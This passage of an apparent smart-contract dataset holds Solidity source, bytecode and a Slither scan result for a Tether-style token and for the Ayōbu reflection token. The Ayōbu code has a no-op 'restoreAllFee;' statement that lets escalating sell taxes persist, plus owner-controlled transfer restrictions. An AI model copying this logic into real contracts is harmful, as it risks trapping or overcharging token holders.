// @param _decimals Token decimals
constructor(string _name, string _symbol, uint _initialSupply, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public view returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public view returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
emit Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public view returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
emit Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
emit Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
emit Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461019a5780630753c30c14610224578063095ea7b3146102475780630e136b191461026b5780630ecb93c01461029457806318160ddd146102b557806323b872dd146102dc57806326976e3f1461030657806327e235e314610337578063313ce56714610358578063353907141461036d5780633eaaf86b146103825780633f4ba83a1461039757806359bf1abe146103ac5780635c658165146103cd5780635c975abb146103f457806370a08231146104095780638456cb591461042a578063893d20e81461043f5780638da5cb5b1461045457806395d89b4114610469578063a9059cbb1461047e578063c0324c77146104a2578063cc872b66146104bd578063db006a75146104d5578063dd62ed3e146104ed578063dd644f7214610514578063e47d606014610529578063e4997dc51461054a578063e5b5019a1461056b578063f2fde38b14610580578063f3bdc228146105a1575b600080fd5b3480156101a657600080fd5b506101af6105c2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e95781810151838201526020016101d1565b50505050905090810190601f1680156102165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023057600080fd5b50610245600160a060020a0360043516610650565b005b34801561025357600080fd5b50610245600160a060020a03600435166024356106e8565b34801561027757600080fd5b506102806107aa565b604080519115158252519081900360200190f35b3480156102a057600080fd5b50610245600160a060020a03600435166107ba565b3480156102c157600080fd5b506102ca61082c565b60408051918252519081900360200190f35b3480156102e857600080fd5b50610245600160a060020a03600435811690602435166044356108e8565b34801561031257600080fd5b5061031b6109be565b60408051600160a060020a039092168252519081900360200190f35b34801561034357600080fd5b506102ca600160a060020a03600435166109cd565b34801561036457600080fd5b506102ca6109df565b34801561037957600080fd5b506102ca6109e5565b34801561038e57600080fd5b506102ca6109eb565b3480156103a357600080fd5b506102456109f1565b3480156103b857600080fd5b50610280600160a060020a0360043516610a67565b3480156103d957600080fd5b506102ca600160a060020a0360043581169060243516610a89565b34801561040057600080fd5b50610280610aa6565b34801561041557600080fd5b506102ca600160a060020a0360043516610ab6565b34801561043657600080fd5b50610245610b76565b34801561044b57600080fd5b5061031b610bf1565b34801561046057600080fd5b5061031b610c00565b34801561047557600080fd5b506101af610c0f565b34801561048a57600080fd5b50610245600160a060020a0360043516602435610c6a565b3480156104ae57600080fd5b50610245600435602435610d4f565b3480156104c957600080fd5b50610245600435610de4565b3480156104e157600080fd5b50610245600435610e8f565b3480156104f957600080fd5b506102ca600160a060020a0360043581169060243516610f3a565b34801561052057600080fd5b506102ca611005565b34801561053557600080fd5b50610280600160a060020a036004351661100b565b34801561055657600080fd5b50610245600160a060020a0360043516611020565b34801561057757600080fd5b506102ca61108f565b34801561058c57600080fd5b50610245600160a060020a0360043516611095565b3480156105ad57600080fd5b50610245600160a060020a03600435166110e7565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106485780601f1061061d57610100808354040283529160200191610648565b820191906000526020600020905b81548152906001019060200180831161062b57829003601f168201915b505050505081565b600054600160a060020a0316331461066757600080fd5b600a805460a060020a74ff0000000000000000000000000000000000000000199091161773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831690811790915560408051918252517fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e916020908290030190a150565b604060443610156106f857600080fd5b600a5460a060020a900460ff161561079b57600a54604080517faee92d33000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038681166024830152604482018690529151919092169163aee92d3391606480830192600092919082900301818387803b15801561077e57600080fd5b505af1158015610792573d6000803e3d6000fd5b505050506107a5565b6107a58383611193565b505050565b600a5460a060020a900460ff1681565b600054600160a060020a031633146107d157600080fd5b600160a060020a038116600081815260066020908152604091829020805460ff19166001179055815192835290517f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc9281900390910190a150565b600a5460009060a060020a900460ff16156108e057600a60009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156108ad57600080fd5b505af11580156108c1573d6000803e3d6000fd5b505050506040513d60208110156108d757600080fd5b505190506108e5565b506001545b90565b60005460a060020a900460ff16156108ff57600080fd5b600160a060020a03831660009081526006602052604090205460ff161561092557600080fd5b600a5460a060020a900460ff16156109b357600a54604080517f8b477adb000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a03868116602483015285811660448301526064820185905291519190921691638b477adb91608480830192600092919082900301818387803b15801561077e57600080fd5b6107a5838383611241565b600a54600160a060020a031681565b60026020526000908152604090205481565b60095481565b60045481565b60015481565b600054600160a060020a03163314610a0857600080fd5b60005460a060020a900460ff161515610a2057600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b600160a060020a03811660009081526006602052604090205460ff165b919050565b600560209081526000928352604080842090915290825290205481565b60005460a060020a900460ff1681565b600a5460009060a060020a900460ff1615610b6657600a54604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152915191909216916370a082319160248083019260209291908290030181600087803b158015610b3357600080fd5b505af1158015610b47573d6000803e3d6000fd5b505050506040513d6020811015610b5d57600080fd5b50519050610a84565b610b6f8261143d565b9050610a84565b600054600160a060020a03163314610b8d57600080fd5b60005460a060020a900460ff1615610ba457600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031690565b600054600160a060020a031681565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106485780601f1061061d57610100808354040283529160200191610648565b60005460a060020a900460ff1615610c8157600080fd5b3360009081526006602052604090205460ff1615610c9e57600080fd5b600a5460a060020a900460ff1615610d4157600a54604080517f6e18980a000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0385811660248301526044820185905291519190921691636e18980a91606480830192600092919082900301818387803b158015610d2457600080fd5b505af1158015610d38573d6000803e3d6000fd5b50505050610d4b565b610d4b8282611458565b5050565b600054600160a060020a03163314610d6657600080fd5b60148210610d7357600080fd5b60328110610d8057600080fd5b6003829055600954610d9c908290600a0a63ffffffff6115c516565b600481905560035460408051918252602082019290925281517fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e929181900390910190a15050565b600054600160a060020a03163314610dfb57600080fd5b60015481810111610e0b57600080fd5b60008054600160a060020a031681526002602052604090205481810111610e3157600080fd5b60008054600160a060020a03168152600260209081526040918290208054840190556001805484019055815183815291517fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9281900390910190a150565b600054600160a060020a03163314610ea657600080fd5b600154811115610eb557600080fd5b60008054600160a060020a0316815260026020526040902054811115610eda57600080fd5b60018054829003905560008054600160a060020a031681526002602090815260409182902080548490039055815183815291517f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a449281900390910190a150565b600a5460009060a060020a900460ff1615610ff257600a54604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015285811660248301529151919092169163dd62ed3e9160448083019260209291908290030181600087803b158015610fbf57600080fd5b505af1158015610fd3573d6000803e3d6000fd5b505050506040513d6020811015610fe957600080fd5b50519050610fff565b610ffc83836115fb565b90505b92915050565b60035481565b60066020526000908152604090205460ff1681565b600054600160a060020a0316331461103757600080fd5b600160a060020a038116600081815260066020908152604091829020805460ff19169055815192835290517fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c9281900390910190a150565b60001981565b600054600160a060020a031633146110ac57600080fd5b600160a060020a038116156110e4576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60008054600160a060020a031633146110ff57600080fd5b600160a060020a03821660009081526006602052604090205460ff16151561112657600080fd5b61112f82610ab6565b600160a060020a0383166000818152600260209081526040808320929092556001805485900390558151928352820183905280519293507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c692918290030190a15050565b604060443610156111a357600080fd5b81158015906111d45750336000908152600560209081526040808320600160a060020a038716845290915290205415155b156111de57600080fd5b336000818152600560209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3505050565b600080806060606436101561125557600080fd5b600160a060020a03871660009081526005602090815260408083203384529091529020546003549094506112a4906127109061129890889063ffffffff6115c516565b9063ffffffff61162616565b92506004548311156112b65760045492505b6000198410156112f5576112d0848663ffffffff61163d16565b600160a060020a03881660009081526005602090815260408083203384529091529020555b611305858463ffffffff61163d16565b600160a060020a038816600090815260026020526040902054909250611331908663ffffffff61163d16565b600160a060020a038089166000908152600260205260408082209390935590881681522054611366908363ffffffff61164f16565b600160a060020a0387166000908152600260205260408120919091558311156113fb5760008054600160a060020a03168152600260205260409020546113b2908463ffffffff61164f16565b60008054600160a060020a0390811682526002602090815260408084209490945591548351878152935190821693918b169260008051602061165f833981519152928290030190a35b85600160a060020a031687600160a060020a031660008051602061165f833981519152846040518082815260200191505060405180910390a350505050505050565b600160a060020a031660009081526002602052604090205490565b6000806040604436101561146b57600080fd5b611486612710611298600354876115c590919063ffffffff16565b92506004548311156114985760045492505b6114a8848463ffffffff61163d16565b336000908152600260205260409020549092506114cb908563ffffffff61163d16565b3360009081526002602052604080822092909255600160a060020a038716815220546114fd908363ffffffff61164f16565b600160a060020a0386166000908152600260205260408120919091558311156115905760008054600160a060020a0316815260026020526040902054611549908463ffffffff61164f16565b60008054600160a060020a03908116825260026020908152604080842094909455915483518781529351911692339260008051602061165f83398151915292918290030190a35b604080518381529051600160a060020a03871691339160008051602061165f8339815191529181900360200190a35050505050565b6000808315156115d857600091506115f4565b508282028284828115156115e857fe5b04146115f057fe5b8091505b5092915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600080828481151561163457fe5b04949350505050565b60008282111561164957fe5b50900390565b6000828201838110156115f057fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582075d58f946a3f36e2f4d9c09d65736d7bcd982ef178c1f57175c95f8e4ca012190029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 7,826 |
0x27948d59e0daed459d821880e5bee11665b2c6aa
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/*
Welcome to Ayōbu.
Telegram: https://t.me/AyobuOfficial
Website: https://ayobu.io
Ayōbu are celestial fox spirits with lush white fur and full, fluffy tails reminiscent of fresh snow. They are holy creatures, and bring happiness and blessings to those around them.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Ayōbu was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 5% redistribution to holders on all buys
10. 10% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Ayobu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Ayōbu";
string private constant _symbol = "AYOBU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 10;
uint256 private _teamFee = 4;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 10;
_teamFee = 4;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 4;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600681526020017f4179c58d62750000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f41594f4255000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73fffff